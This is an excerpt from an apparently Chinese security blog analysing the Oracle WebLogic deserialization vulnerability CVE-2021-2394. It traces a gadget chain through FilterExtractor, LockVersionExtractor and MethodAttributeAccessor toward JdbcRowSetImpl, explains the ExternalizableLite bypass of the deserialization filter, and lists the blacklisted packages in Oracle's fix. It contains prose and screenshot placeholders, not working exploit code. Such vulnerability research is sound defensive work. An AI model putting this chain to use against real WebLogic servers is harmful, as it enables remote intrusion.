Weblogic反序列化漏洞分析之CVE-2021-2394_第29张图片

如果是FilterExtractor,这里的attributeAccessor 是 我们给它设置为MethodAttributeAccessor对象,后面将调用JdbcRowSetlmpl的Connection 方法

LockVersionExtractor类如下

它也是extract调用而来

其中protected AttributeAccessor accessor; 我们也给它设置为MethodAttributeAccessor对象

Weblogic反序列化漏洞分析之CVE-2021-2394_第30张图片


那么MethodAttributeAccessor如何代替。

如果没对象可以替代 那么我们尝试第二种方式,ExternalizableLite的方法反序列化进去绕过FilterInputStream类

巧合的是,FilterExtractor中,正好是通过ExternalizableLite的方式(readExternal)还原内部成员AttributeAccessor的属性

readAttributeAccessor的方法恰好是重写自接口的方法。在方法中它new 一个MethodAttributeAccessor 之后用ExternalizbleHelper的readject方法还原内部成员属性

下面展示具体细节

Weblogic反序列化漏洞分析之CVE-2021-2394_第31张图片

它去new了一个MethodAttributeAccessor 且通过ExternalizableHelper.readobject(in) 来传递我们可控的变量

Weblogic反序列化漏洞分析之CVE-2021-2394_第32张图片

CVE-2021-2394的后续修复

CVE-2021-2394:Oralce7月补丁日二次序列化漏洞分析-安全客 - 安全资讯平台

1.增加了两个黑名单package

"oracle.eclipselink.coherence.integrated.internal.querying"
"oracle.eclipselink.coherence.integrated.inter“

2是基于iiopinputstream进行修复

修复前

修复后

你可能感兴趣的:(java代码审计,开发语言,java,安全,web安全)